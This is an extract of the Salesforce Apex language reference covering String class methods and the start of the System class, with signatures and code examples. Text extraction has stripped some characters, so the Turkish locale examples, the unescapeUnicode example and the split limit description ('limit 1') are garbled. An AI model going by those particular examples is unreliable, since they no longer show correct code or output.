Type: String

Usage
If length is greater than the String size, the entire String is returned.

Example
String s1 = 'abcdaacd';
String s2 =
s1.left(3);
System.assertEquals(
'abc', s2);

leftPad(length)
Returns the current String padded with spaces on the left and of the specified length.

Signature
public String leftPad(Integer length)

Parameters
length

Type: Integer

Usage
If length is less than or equal to the current String size, the entire String is returned without space padding.

Return Value
Type: String

2411

Reference

String Class

Example
String s1 = 'abc';
String s2 =
s1.leftPad(5);
System.assertEquals(
' abc', s2);

length()
Returns the number of 16-bit Unicode characters contained in the String.

Signature
public Integer length()

Return Value
Type: Integer

Example
String myString = 'abcd';
Integer result = myString.length();
System.assertEquals(result, 4);

mid(startIndex, length)
Returns a new String that begins with the character at the specified zero-based startIndex with the number of characters specified
by length.

Signature
public String mid(Integer startIndex, Integer length)

Parameters
startIndex

Type: Integer
If startIndex is negative, it is considered to be zero.
length

Type: Integer
If length is negative or zero, an empty String is returned. If length is greater than the remaining characters, the remainder of
the String is returned.

Return Value
Type: String

2412

Reference

String Class

Usage
This method is similar to the substring(startIndex) and substring(startIndex, endIndex) methods, except
that the second argument is the number of characters to return.

Example
String s = 'abcde';
String s2 = s.mid(2, 3);
System.assertEquals(
'cde', s2);

normalizeSpace()
Returns the current String with leading, trailing, and repeating white space characters removed.

Signature
public String normalizeSpace()

Return Value
Type: String

Usage
This method normalizes the following white space characters: space, tab (\t), new line (\n), carriage return (\r), and form feed (\f).

Example
String s1 =
'Salesforce \t
force.com';
String s2 =
s1.normalizeSpace();
System.assertEquals(
'Salesforce force.com', s2);

offsetByCodePoints(index, codePointOffset)
Returns the index of the Unicode code point that is offset by the specified number of code points, starting from the given index.

Signature
public Integer offsetByCodePoints(Integer index, Integer codePointOffset)

Parameters
index

Type: Integer
The start index in the string.

2413

Reference

String Class

codePointOffset

Type: Integer
The number of code points to be offset.

Return Value
Type: Integer
The index that corresponds to the start index that is added to the offset.

Usage
Unpaired surrogates within the text range that is specified by index and codePointOffset count as one code point each.

Example
This example calls offsetByCodePoints on a string with a start index of 0 (to start from the first character) and an offset of threee
code points. The string contains one sequence of supplementary characters in escaped form (a pair of characters). After an offset of three
code points when counting from the beginning of the string, the returned code point index is four.
String str = 'A \uD835\uDD0A BC';
System.assertEquals(4, str.offsetByCodePoints(0,3));

remove(substring)
Removes all occurrences of the specified substring and returns the String result.

Signature
public String remove(String substring)

Parameters
substring

Type: String

Return Value
Type: String

Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.remove('force');
System.assertEquals(
'Sales and .com', s2);

removeEnd(substring)
Removes the specified substring only if it occurs at the end of the String.

2414

Reference

String Class

Signature
public String removeEnd(String substring)

Parameters
substring

Type: String

Return Value
Type: String

Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.removeEnd('.com');
System.assertEquals(
'Salesforce and force', s2);

removeEndIgnoreCase(substring)
Removes the specified substring only if it occurs at the end of the String using a case-insensitive match.

Signature
public String removeEndIgnoreCase(String substring)

Parameters
substring

Type: String

Return Value
Type: String

Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.removeEndIgnoreCase('.COM');
System.assertEquals(
'Salesforce and force', s2);

removeStart(substring)
Removes the specified substring only if it occurs at the beginning of the String.

2415

Reference

String Class

Signature
public String removeStart(String substring)

Parameters
substring

Type: String

Return Value
Type: String

Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.removeStart('Sales');
System.assertEquals(
'force and force.com', s2);

removeStartIgnoreCase(substring)
Removes the specified substring only if it occurs at the beginning of the String using a case-insensitive match.

Signature
public String removeStartIgnoreCase(String substring)

Parameters
substring

Type: String

Return Value
Type: String

Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.removeStartIgnoreCase('SALES');
System.assertEquals(
'force and force.com', s2);

repeat(numberOfTimes)
Returns the current String repeated the specified number of times.

2416

Reference

String Class

Signature
public String repeat(Integer numberOfTimes)

Parameters
numberOfTimes

Type: Integer

Return Value
Type: String

Example
String s1 = 'SFDC';
String s2 =
s1.repeat(2);
System.assertEquals(
'SFDCSFDC', s2);

repeat(separator, numberOfTimes)
Returns the current String repeated the specified number of times using the specified separator to separate the repeated Strings.

Signature
public String repeat(String separator, Integer numberOfTimes)

Parameters
separator

Type: String
numberOfTimes

Type: Integer

Return Value
Type: String

Example
String s1 = 'SFDC';
String s2 =
s1.repeat('-', 2);
System.assertEquals(
'SFDC-SFDC', s2);

2417

Reference

String Class

replace(target, replacement)
Replaces each substring of a string that matches the literal target sequence target with the specified literal replacement sequence
replacement.

Signature
public String replace(String target, String replacement)

Parameters
target

Type: String
replacement

Type: String

Return Value
Type: String

Example
String s1 = 'abcdbca';
String target = 'bc';
String replacement = 'xy';
String s2 = s1.replace(target, replacement);
System.assertEquals('axydxya', s2);

replaceAll(regExp, replacement)
Replaces each substring of a string that matches the regular expression regExp with the replacement sequence replacement.

Signature
public String replaceAll(String regExp, String replacement)

Parameters
regExp

Type: String
replacement

Type: String

Return Value
Type: String

Usage
See the Java Pattern class for information on regular expressions.

2418

Reference

String Class

Example
String s1 = 'a b c 5 xyz';
String regExp = '[a-zA-Z]';
String replacement = '1';
String s2 = s1.replaceAll(regExp, replacement);
System.assertEquals('1 1 1 5 111', s2);

replaceFirst(regExp, replacement)
Replaces the first substring of a string that matches the regular expression regExp with the replacement sequence replacement.

Signature
public String replaceFirst(String regExp, String replacement)

Parameters
regExp

Type: String
replacement

Type: String

Return Value
Type: String

Usage
See the Java Pattern class for information on regular expressions.

Example
String s1 = 'a b c 11 xyz';
String regExp = '[a-zA-Z]{2}';
String replacement = '2';
String s2 = s1.replaceFirst(regExp, replacement);
System.assertEquals('a b c 11 2z', s2);

reverse()
Returns a String with all the characters reversed.

Signature
public String reverse()

Return Value
Type: String

2419

Reference

String Class

right(length)
Returns the rightmost characters of the current String of the specified length.

Signature
public String right(Integer length)

Parameters
length

Type: Integer
If length is greater than the String size, the entire String is returned.

Return Value
Type: String

Example
String s1 = 'Hello Max';
String s2 =
s1.right(3);
System.assertEquals(
'Max', s2);

rightPad(length)
Returns the current String padded with spaces on the right and of the specified length.

Signature
public String rightPad(Integer length)

Parameters
length

Type: Integer
If length is less than or equal to the current String size, the entire String is returned without space padding.

Return Value
Type: String

Example
String s1 = 'abc';
String s2 =
s1.rightPad(5);

2420

Reference

String Class

System.assertEquals(
'abc ', s2);

split(regExp)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of the
String.

Signature
public String[] split(String regExp)

Parameters
regExp

Type: String

Return Value
Type: String[]
Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the methods
output.

Usage
See the Java Pattern class for information on regular expressions.
The substrings are placed in the list in the order in which they occur in the String.If regExp does not match any part of the String, the
resulting list has just one element containing the original String.
For example, for String s = 'boo:and:foo':
s.split(':', 2) results in {'boo', 'and:foo'}
s.split(':', 5) results in {'boo', 'and', 'foo'}
s.split(':', -2) results in {'boo', 'and', 'foo'}
s.split('o', 5) results in {'b', '', ':and:f', '', ''}
s.split('o', -2) results in {'b', '', ':and:f', '', ''}
s.split('o', 0) results in {'b', '', ':and:f'}

Example
In the following example, a string is split using a backslash as a delimiter.
public String splitPath(String filename) {
if (filename == null)
return null;
List<String> parts = filename.split('\\\\');
filename = parts[parts.size()-1];
return filename;
}

2421

Reference

String Class

// For example, if the file path is e:\\processed\\PPDSF100111.csv

// This method splits the path and returns the last part.
// Returned filename is PPDSF100111.csv

split(regExp, limit)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of the
String.

Signature
public String[] split(String regExp, Integer limit)

Parameters
regExp

Type: String
A regular expression.
limit

Type: Integer

Return Value
Type: String[]
Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the methods
output.

Usage
The optional limit parameter controls the number of times the pattern is applied and therefore affects the length of the list.
If limit is greater than zero:
The pattern is applied a maximum of (limit 1) times.
The lists length is no greater than limit.
The lists last entry contains all input beyond the last matched delimiter.
If limit is non-positive, the pattern is applied as many times as possible, and the list can have any length.
If limit is zero, the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are
discarded.

splitByCharacterType()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens.

Signature
public List<String> splitByCharacterType()

2422

Reference

String Class

Return Value
Type: List<String>

Usage
For more information about the character types used, see java.lang.Character.getType(char).

Example
String s1 = 'Force.com platform';
List<String> ls =
s1.splitByCharacterType();
System.debug(ls);
// Writes this output:
// (F, orce, ., com, , platform)

splitByCharacterTypeCamelCase()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens, with
the following exception: the uppercase character, if any, immediately preceding a lowercase character token belongs to the following
character token rather than to the preceding.

Signature
public List<String> splitByCharacterTypeCamelCase()

Return Value
Type: List<String>

Usage
For more information about the character types used, see java.lang.Character.getType(char).

Example
String s1 = 'Force.com platform';
List<String> ls =
s1.splitByCharacterTypeCamelCase();
System.debug(ls);
// Writes this output:
// (Force, ., com, , platform)

startsWith(prefix)
Returns true if the String that called the method begins with the specified prefix.

Signature
public Boolean startsWith(String prefix)

2423

Reference

String Class

Parameters
prefix

Type: String

Return Value
Type: Boolean

Example
String s1 = 'AE86 vs EK9';
System.assert(s1.startsWith('AE86'));

startsWithIgnoreCase(prefix)
Returns true if the current String begins with the specified prefix regardless of the prefix case.

Signature
public Boolean startsWithIgnoreCase(String prefix)

Parameters
prefix

Type: String

Return Value
Type: Boolean

Example
String s1 = 'AE86 vs EK9';
System.assert(s1.startsWithIgnoreCase('ae86'));

stripHtmlTags(htmlInput)
Removes HTML markup from the input string and returns the plain text.

Signature
public String stripHtmlTags(String htmlInput)

Parameters
htmlInput

Type: String

2424

Reference

String Class

Return Value
Type: String

Example
String s1 = '<b>hello world</b>';
String s2 = s1.stripHtmlTags();
System.assertEquals(
'hello world', s2);

substring(startIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the end of the String.

Signature
public String substring(Integer startIndex)

Parameters
startIndex

Type: Integer

Return Value
Type: String

Example
String s1 = 'hamburger';
System.assertEquals('burger', s1.substring(3));

substring(startIndex, endIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the character at
endIndex - 1.

Signature
public String substring(Integer startIndex, Integer endIndex)

Parameters
startIndex

Type: Integer
endIndex

Type: Integer

2425

Reference

String Class

Return Value
Type: String

Example
'hamburger'.substring(4, 8);
// Returns "urge"
'smiles'.substring(1, 5);
// Returns "mile"

substringAfter(separator)
Returns the substring that occurs after the first occurrence of the specified separator.

Signature
public String substringAfter(String separator)

Parameters
separator

Type: String

Return Value
Type: String

Example
String s1 = 'Force.com.platform';
String s2 =
s1.substringAfter('.');
System.assertEquals(
'com.platform', s2);

substringAfterLast(separator)
Returns the substring that occurs after the last occurrence of the specified separator.

Signature
public String substringAfterLast(String separator)

Parameters
separator

Type: String

2426

Reference

String Class

Return Value
Type: String

Example
String s1 = 'Force.com.platform';
String s2 =
s1.substringAfterLast('.');
System.assertEquals(
'platform', s2);

substringBefore(separator)
Returns the substring that occurs before the first occurrence of the specified separator.

Signature
public String substringBefore(String separator)

Parameters
separator

Type: String

Return Value
Type: String

Example
String s1 = 'Force.com.platform';
String s2 =
s1.substringBefore('.');
System.assertEquals(
'Force', s2);

substringBeforeLast(separator)
Returns the substring that occurs before the last occurrence of the specified separator.

Signature
public String substringBeforeLast(String separator)

Parameters
separator

Type: String

2427

Reference

String Class

Return Value
Type: String

Example
String s1 = 'Force.com.platform';
String s2 =
s1.substringBeforeLast('.');
System.assertEquals(
'Force.com', s2);

substringBetween(tag)
Returns the substring that occurs between two instances of the specified tag String.

Signature
public String substringBetween(String tag)

Parameters
tag

Type: String

Return Value
Type: String

Example
String s1 = 'tagYellowtag';
String s2 = s1.substringBetween('tag');
System.assertEquals('Yellow', s2);

substringBetween(open, close)
Returns the substring that occurs between the two specified Strings.

Signature
public String substringBetween(String open, String close)

Parameters
open

Type: String
close

Type: String

2428

Reference

String Class

Return Value
Type: String

Example
String s1 = 'xYellowy';
String s2 =
s1.substringBetween('x','y');
System.assertEquals(
'Yellow', s2);

swapCase()
Swaps the case of all characters and returns the resulting String by using the default (English US) locale.

Signature
public String swapCase()

Return Value
Type: String

Usage
Upper case and title case converts to lower case, and lower case converts to upper case.

Example
String s1 = 'Force.com';
String s2 = s1.swapCase();
System.assertEquals('fORCE.COM', s2);

toLowerCase()
Converts all of the characters in the String to lowercase using the rules of the default (English US) locale.

Signature
public String toLowerCase()

Return Value
Type: String

Example
String s1 = 'ThIs iS hArD tO rEaD';
System.assertEquals('this is hard to read',
s1.toLowerCase());

2429

Reference

String Class

toLowerCase(locale)
Converts all of the characters in the String to lowercase using the rules of the specified locale.

Signature
public String toLowerCase(String locale)

Parameters
locale

Type: String

Return Value
Type: String

Example
// Example in Turkish
// An uppercase dotted "i", \u0304, which is
// Note this contains both a as well as a I
String s1 = 'KIYMETL';
String s1Lower = s1.toLowerCase('tr');
// Dotless lowercase "i", \u0131, which is
// Note this has both a i and
String expected = 'kymetli';
System.assertEquals(expected, s1Lower);
// Note if this was done in toLowerCase(en), it would output kiymetli

toUpperCase()
Converts all of the characters in the String to uppercase using the rules of the default (English US) locale.

Signature
public String toUpperCase()

Return Value
Type: String

Example
String myString1 = 'abcd';
String myString2 = 'ABCD';
myString1 =
myString1.toUpperCase();
Boolean result =
myString1.equals(myString2);
System.assertEquals(result, true);

2430

Reference

String Class

toUpperCase(locale)
Converts all of the characters in the String to the uppercase using the rules of the specified locale.

Signature
public String toUpperCase(String locale)

Parameters
locale

Type: String

Return Value
Type: String

Example
// Example in Turkish
// Dotless lowercase "i", \u0131, which is
// Note this has both a i and
String s1 = 'imkansz';
String s1Upper = s1.toUpperCase('tr');
// An uppercase dotted "i", \u0304, which is
// Note this contains both a as well as a I
String expected = 'MKANSIZ';
System.assertEquals(expected, s1Upper);

trim()
Returns a copy of the string that no longer contains any leading or trailing white space characters.

Signature
public String trim()

Return Value
Type: String

Usage
Leading and trailing ASCII control characters such as tabs and newline characters are also removed. White space and control characters
that arent at the beginning or end of the sentence arent removed.

Example
String s1 = '
Hello!
';
String trimmed = s1.trim();
system.assertEquals('Hello!', trimmed);

2431

Reference

String Class

uncapitalize()
Returns the current String with the first letter in lowercase.

Signature
public String uncapitalize()

Return Value
Type: String

Example
String s1 =
'Hello max';
String s2 =
s1.uncapitalize();
System.assertEquals(
'hello max',
s2);

unescapeCsv()
Returns a String representing an unescaped CSV column.

Signature
public String unescapeCsv()

Return Value
Type: String

Usage
If the String is enclosed in double quotes and contains a comma, newline or double quote, quotes are removed. Also, any double quote
escaped characters (a pair of double quotes) are unescaped to just one double quote.
If the String is not enclosed in double quotes, or is and does not contain a comma, newline or double quote, it is returned unchanged.

Example
String s1 =
'"Max1, ""Max2"""';
String s2 =
s1.unescapeCsv();
System.assertEquals(
'Max1, "Max2"',
s2);

2432

Reference

String Class

unescapeEcmaScript()
Unescapes any EcmaScript literals found in the String.

Signature
public String unescapeEcmaScript()

Return Value
Type: String

Example
String s1 =
'\"3.8\",\"3.9\"';
String s2 =
s1.unescapeEcmaScript();
System.assertEquals(
'"3.8","3.9"',
s2);

unescapeHtml3()
Unescapes the characters in a String using HTML 3.0 entities.

Signature
public String unescapeHtml3()

Return Value
Type: String

Example
String s1 =
'"<Black&White>"';
String s2 =
s1.unescapeHtml3();
System.assertEquals(
'"<Black&White>"',
s2);

unescapeHtml4()
Unescapes the characters in a String using HTML 4.0 entities.

Signature
public String unescapeHtml4()

2433

Reference

String Class

Return Value
Type: String

Usage
If an entity isnt recognized, it is kept as is in the returned string.

Example
String s1 =
'"<Black&White>"';
String s2 =
s1.unescapeHtml4();
System.assertEquals(
'"<Black&White>"',
s2);

unescapeJava()
Returns a String whose Java literals are unescaped. Literals unescaped include escape sequences for quotes (\\") and control characters,
such as tab (\\t), and carriage return (\\n).

Signature
public String unescapeJava()

Return Value
Type: String
The unescaped string.

Example
String s = 'Company: \\"Salesforce.com\\"';
String unescapedStr = s.unescapeJava();
System.assertEquals('Company: "Salesforce.com"', unescapedStr);

unescapeUnicode()
Returns a String whose escaped Unicode characters are unescaped.

Signature
public String unescapeUnicode()

Return Value
Type: String
The unescaped string.

2434

Reference

String Class

Example
String s = 'De onde voc\u00EA \u00E9?';
String unescapedStr = s.unescapeUnicode();
System.assertEquals('De onde voc ?', unescapedStr);

unescapeXml()
Unescapes the characters in a String using XML entities.

Signature
public String unescapeXml()

Return Value
Type: String

Usage
Supports only the five basic XML entities (gt, lt, quot, amp, apos). Does not support DTDs or external entities.

Example
String s1 =
'"<Black&White>"';
String s2 =
s1.unescapeXml();
System.assertEquals(
'"<Black&White>"',
s2);

valueOf(dateToConvert)
Returns a String that represents the specified Date in the standard yyyy-MM-dd format.

Signature
public static String valueOf(Date dateToConvert)

Parameters
dateToConvert

Type: Date

Return Value
Type: String

2435

Reference

String Class

Example
Date myDate = Date.Today();
String sDate = String.valueOf(myDate);

valueOf(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard yyyy-MM-dd HH:mm:ss format for the local time zone.

Signature
public static String valueOf(Datetime datetimeToConvert)

Parameters
datetimeToConvert

Type: Datetime

Return Value
Type: String

Example
DateTime dt = datetime.newInstance(1996, 6, 23);
String sDateTime = String.valueOf(dt);
System.assertEquals('1996-06-23 00:00:00', sDateTime);

valueOf(decimalToConvert)
Returns a String that represents the specified Decimal.

Signature
public static String valueOf(Decimal decimalToConvert)

Parameters
decimalToConvert

Type: Decimal

Return Value
Type: String

Example
Decimal dec = 3.14159265;
String sDecimal = String.valueOf(dec);
System.assertEquals('3.14159265', sDecimal);

2436

Reference

String Class

valueOf(doubleToConvert)
Returns a String that represents the specified Double.

Signature
public static String valueOf(Double doubleToConvert)

Parameters
doubleToConvert

Type: Double

Return Value
Type: String

Example
Double myDouble = 12.34;
String myString =
String.valueOf(myDouble);
System.assertEquals(
'12.34', myString);

valueOf(integerToConvert)
Returns a String that represents the specified Integer.

Signature
public static String valueOf(Integer integerToConvert)

Parameters
integerToConvert

Type: Integer

Return Value
Type: String

Example
Integer myInteger = 22;
String sInteger = String.valueOf(myInteger);
System.assertEquals('22', sInteger);

valueOf(longToConvert)
Returns a String that represents the specified Long.

2437

Reference

String Class

Signature
public static String valueOf(Long longToConvert)

Parameters
longToConvert

Type: Long

Return Value
Type: String

Example
Long myLong = 123456789;
String sLong = String.valueOf(myLong);
System.assertEquals('123456789', sLong);

valueOf(toConvert)
Returns a string representation of the specified object argument.

Signature
public static String valueOf(Object toConvert)

Parameters
toConvert

Type: Object

Return Value
Type: String

Usage
If the argument is not a String, the valueOf method converts it into a String by calling the toString method on the argument,
if available, or any overridden toString method if the argument is a user-defined type. Otherwise, if no toString method is
available, it returns a String representation of the argument.

Example
List<Integer> ls =
new List<Integer>();
ls.add(10);
ls.add(20);
String strList =
String.valueOf(ls);

2438

Reference

System Class

System.assertEquals(
'(10, 20)', strList);

valueOfGmt(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard yyyy-MM-dd HH:mm:ss format for the GMT time zone.

Signature
public static String valueOfGmt(Datetime datetimeToConvert)

Parameters
datetimeToConvert

Type: Datetime

Return Value
Type: String

Example
// For a PST timezone:
DateTime dt = datetime.newInstance(2001, 9, 14);
String sDateTime = String.valueOfGmt(dt);
System.assertEquals('2001-09-14 07:00:00', sDateTime);

System Class
Contains methods for system operations, such as writing debug messages and scheduling jobs.

Namespace
System

System Methods
The following are methods for System. All methods are static.
IN THIS SECTION:
abortJob(jobId)
Stops the specified job. The stopped job is still visible in the job queue in the Salesforce user interface.
assert(condition, msg)
Asserts that the specified condition is true. If it is not, a fatal error is returned that causes code execution to halt.
assertEquals(expected, actual, msg)
Asserts that the first two arguments are the same. If they are not, a fatal error is returned that causes code execution to halt.

2439

Reference

System Class

assertNotEquals(expected, actual, msg)

Asserts that the first two arguments are different. If they are the same, a fatal error is returned that causes code execution to halt.
currentPageReference()
Returns a reference to the current page. This is used with Visualforce pages.
currentTimeMillis()
Returns the current time in milliseconds, which is expressed as the difference between the current time and midnight, January 1,
1970 UTC.
debug(msg)
Writes the specified message, in string format, to the execution debug log. The DEBUG log level is used.
debug(logLevel, msg)
Writes the specified message, in string format, to the execution debug log with the specified log level.
enqueueJob(queueableObj)
Adds a job to the Apex job queue that corresponds to the specified queueable class and returns the job ID.
equals(obj1, obj2)
Returns true if both arguments are equal. Otherwise, returns false.
getApplicationReadWriteMode()
Returns the read write mode set for an organization during Salesforce.com upgrades and downtimes.
hashCode(obj)
Returns the hash code of the specified object.
isBatch()
Returns true if a batch Apex job invoked the executing code, or false if not. In API version 35.0 and earlier, also returns true
if a queueable Apex job invoked the code.
isFuture()
Returns true if the currently executing code is invoked by code contained in a method annotated with future; false
otherwise.
isQueueable()
Returns true if a queueable Apex job invoked the executing code. Returns false if not, including if a batch Apex job or a future
method invoked the code.
isScheduled()
Returns true if the currently executing code is invoked by a scheduled Apex job; false otherwise.
now()
Returns the current date and time in the GMT time zone.
process(workItemIds, action, comments, nextApprover)
Processes the list of work item IDs.
purgeOldAsyncJobs(dt)
Deletes asynchronous Apex job records for jobs that have finished execution before the specified date with a Completed, Aborted,
or Failed status, and returns the number of records deleted.
requestVersion()
Returns a two-part version that contains the major and minor version numbers of a package.
resetPassword(userId, sendUserEmail)
Resets the password for the specified user.

2440

Reference

System Class

runAs(version)
Changes the current package version to the package version specified in the argument.
runAs(userSObject)
Changes the current user to the specified user.
schedule(jobName, cronExpression, schedulableClass)
Use schedule with an Apex class that implements the Schedulable interface to schedule the class to run at the time specified
by a Cron expression.
scheduleBatch(batchable, jobName, minutesFromNow)
Schedules a batch job to run once in the future after the specified time interval and with the specified job name.
scheduleBatch(batchable, jobName, minutesFromNow, scopeSize)
Schedules a batch job to run once in the future after the specified the time interval, with the specified job name and scope size.
Returns the scheduled job ID (CronTrigger ID).
setPassword(userId, password)
Sets the password for the specified user.
submit(workItemIds, comments, nextApprover)
Submits the processed approvals. The current user is the submitter and the entry criteria is evaluated for all processes applicable to
the current user.
today()
Returns the current date in the current user's time zone.

abortJob(jobId)
Stops the specified job. The stopped job is still visible in the job queue in the Salesforce user interface.

Signature
public static Void abortJob(String jobId)

Parameters
jobId

Type: String
The jobId is the ID associated with either AsyncApexJob or CronTrigger.

Return Value
Type: Void

Usage
The following methods return the job ID that can be passed to abortJob.
System.schedule methodreturns the CronTrigger object ID associated with the scheduled job as a string.
SchedulableContext.getTriggerId methodreturns the CronTrigger object ID associated with the scheduled job as
a string.
getJobId methodreturns the AsyncApexJob object ID associated with the batch job as a string.

2441

Reference

System Class

Database.executeBatch methodreturns the AsyncApexJob object ID associated with the batch job as a string.

assert(condition, msg)
Asserts that the specified condition is true. If it is not, a fatal error is returned that causes code execution to halt.

Signature
public static Void assert(Boolean condition, Object msg)

Parameters
condition

Type: Boolean
msg

Type: Object
(Optional) Custom message returned as part of the error message.

Return Value
Type: Void

Usage
You cant catch an assertion failure using a try/catch block even though it is logged as an exception.

assertEquals(expected, actual, msg)

Asserts that the first two arguments are the same. If they are not, a fatal error is returned that causes code execution to halt.

Signature
public static Void assertEquals(Object expected, Object actual, Object msg)

Parameters
expected

Type: Object
Specifies the expected value.
actual

Type: Object
Specifies the actual value.
msg

Type: Object
(Optional) Custom message returned as part of the error message.

2442

Reference

System Class

Return Value
Type: Void

Usage
You cant catch an assertion failure using a try/catch block even though it is logged as an exception.

assertNotEquals(expected, actual, msg)

Asserts that the first two arguments are different. If they are the same, a fatal error is returned that causes code execution to halt.

Signature
public static Void assertNotEquals(Object expected, Object actual, Object msg)

Parameters
expected

Type: Object
Specifies the expected value.
actual

Type: Object
Specifies the actual value.
msg

Type: Object
(Optional) Custom message returned as part of the error message.

Return Value
Type: Void

Usage
You cant catch an assertion failure using a try/catch block even though it is logged as an exception.

currentPageReference()
Returns a reference to the current page. This is used with Visualforce pages.

Signature
public static System.PageReference currentPageReference()

Return Value
Type: System.PageReference

2443

Reference

System Class

Usage
For more information, see PageReference Class.

currentTimeMillis()
Returns the current time in milliseconds, which is expressed as the difference between the current time and midnight, January 1, 1970
UTC.

Signature
public static Long currentTimeMillis()

Return Value
Type: Long

debug(msg)
Writes the specified message, in string format, to the execution debug log. The DEBUG log level is used.

Signature
public static Void debug(Object msg)

Parameters
msg

Type: Object

Return Value
Type: Void

Usage
If the msg argument is not a string, the debug method calls String.valueOf to convert it into a string. The String.valueOf
method calls the toString method on the argument, if available, or any overridden toString method if the argument is a
user-defined type. Otherwise, if no toString method is available, it returns a string representation of the argument.
If the log level for Apex Code is set to DEBUG or higher, the message of this debug statement will be written to the debug log.
Note that when a map or set is printed, the output is sorted in key order and is surrounded with square brackets ([]). When an array or
list is printed, the output is enclosed in parentheses (()).
Note: Calls to System.debug are not counted as part of Apex code coverage.Calls to System.debug are not counted as part
of Apex code coverage.
For more information on log levels, see Debug Log Levels in the Salesforce online help.

debug(logLevel, msg)
Writes the specified message, in string format, to the execution debug log with the specified log level.

2444

Reference

System Class

Signature
public static Void debug(LoggingLevel logLevel, Object msg)

Parameters
logLevel

Type: System.LoggingLevel
The logging level to set for this method.
msg

Type: Object
The message or object to write in string format to the execution debug log.

Return Value
Type: Void

System Logging Levels

Use the loggingLevel enum to specify the logging level for the debug method.
Valid log levels are (listed from lowest to highest):
NONE
ERROR
WARN
INFO
DEBUG
FINE
FINER
FINEST
Log levels are cumulative. For example, if the lowest level, ERROR, is specified for Apex Code, only debug methods with the log level
of ERROR are logged. If the next level, WARN, is specified, the debug log contains debug methods specified as either ERROR or WARN.
In the following example, the string MsgTxt is not written to the debug log because the log level is ERROR and the debug method
has a level of INFO:
System.LoggingLevel level = LoggingLevel.ERROR;
System.debug(logginglevel.INFO, 'MsgTxt');

For more information on log levels, see Debug Log Levels in the Salesforce online help.

2445

Reference

System Class

enqueueJob(queueableObj)
Adds a job to the Apex job queue that corresponds to the specified queueable class and returns the job ID.

Signature
public static ID enqueueJob(Object queueableObj)

Parameters
queueableObj

Type: Object
An instance of the class that implements the Queueable Interface.

Return Value
Type: ID
The job ID, which corresponds to the ID of an AsyncApexJob record.

Usage
To add a job for asynchronous execution, call System.enqueueJob by passing in an instance of your class implementation of the
Queueable interface for execution as follows:
ID jobID = System.enqueueJob(new MyQueueableClass());

equals(obj1, obj2)
Returns true if both arguments are equal. Otherwise, returns false.

Signature
public static Boolean equals(Object obj1, Object obj2)

Parameters
obj1

Type: Object
Object being compared.
obj2

Type: Object
Object to compare with the first argument.

Return Value
Type: Boolean

Usage
obj1 and obj2 can be of any type. They can be values, or object references, such as sObjects and user-defined types.

2446

Reference

System Class

The comparison rules for System.equals are identical to the ones for the == operator. For example, string comparison is case
insensitive. For information about the comparison rules, see the == operator.

getApplicationReadWriteMode()
Returns the read write mode set for an organization during Salesforce.com upgrades and downtimes.

Signature
public static System.ApplicationReadWriteMode getApplicationReadWriteMode()

Return Value
Type: System.ApplicationReadWriteMode
Valid values are:
DEFAULT
READ_ONLY

Using the System.ApplicationReadWriteMode Enum

Use the System.ApplicationReadWriteMode enum returned by the getApplicationReadWriteMode to
programmatically determine if the application is in read-only mode during Salesforce upgrades and downtimes.
Valid values for the enum are:
DEFAULT
READ_ONLY
Example:
public class myClass {
public static void execute() {
ApplicationReadWriteMode mode = System.getApplicationReadWriteMode();
if (mode == ApplicationReadWriteMode.READ_ONLY) {
// Do nothing. If DML operaton is attempted in readonly mode,
// InvalidReadOnlyUserDmlException will be thrown.
} else if (mode == ApplicationReadWriteMode.DEFAULT) {
Account account = new Account(name = 'my account');
insert account;
}
}
}

hashCode(obj)
Returns the hash code of the specified object.

Signature
public static Integer hashCode(Object obj)

2447

Reference

System Class

Parameters
obj

Type: Object
The object to get the hash code for. This parameter can be of any type, including values or object references, such as sObjects or
user-defined types.

Return Value
Type: Boolean

isBatch()
Returns true if a batch Apex job invoked the executing code, or false if not. In API version 35.0 and earlier, also returns true if
a queueable Apex job invoked the code.

Signature
public static Boolean isBatch()

Return Value
Type: Boolean

Usage
A batch Apex job cant invoke a future method. Before invoking a future method, use isBatch() to check whether the executing
code is a batch Apex job.

isFuture()
Returns true if the currently executing code is invoked by code contained in a method annotated with future; false otherwise.

Signature
public static Boolean isFuture()

Return Value
Type: Boolean

Usage
Since a future method can't be invoked from another future method, use this method to check if the current code is executing within
the context of a future method before you invoke a future method.

isQueueable()
Returns true if a queueable Apex job invoked the executing code. Returns false if not, including if a batch Apex job or a future
method invoked the code.

2448

Reference

System Class

Signature
public static Boolean isQueueable()

Return Value
Type: Boolean

Usage
public class SimpleQueueable implements Queueable {
String name;
public SimpleQueueable(String name) {
this.name = name;
System.assert(!System.isQueueable());
}

//Should return false

public void execute(QueueableContext ctx) {

Account testAccount = new Account();
testAccount.name = 'testAcc';
insert(testAccount);
System.assert(System.isQueueable());
//Should return true
}
}
global class ComplexBatch implements Database.Batchable<SObject> {
global Database.QueryLocator start(Database.BatchableContext info) {
System.assert(!System.isQueueable());
//Should return false
return Database.getQueryLocator([SELECT Id, Name FROM Account LIMIT 1]);
}
global void execute(Database.BatchableContext info, SObject[] scope) {
System.assert(!System.isQueueable());
//Should return false
System.enqueueJob(new SimpleQueueable('CallingFromComplexBatch'));
System.assert(!System.isQueueable());
//Should return false
}
global void finish(Database.BatchableContext info) {
System.assert(!System.isQueueable());
//Should return false
}
}

isScheduled()
Returns true if the currently executing code is invoked by a scheduled Apex job; false otherwise.

Signature
public static Boolean isScheduled()

2449

Reference

System Class

Return Value
Type: Boolean

now()
Returns the current date and time in the GMT time zone.

Signature
public static Datetime now()

Return Value
Type: Datetime

process(workItemIds, action, comments, nextApprover)

Processes the list of work item IDs.

Signature
public static List<Id> process(List<Id> workItemIds, String action, String comments,
String nextApprover)

Parameters
workItemIds

Type: List<Id>
action

Type: String
comments

Type: String
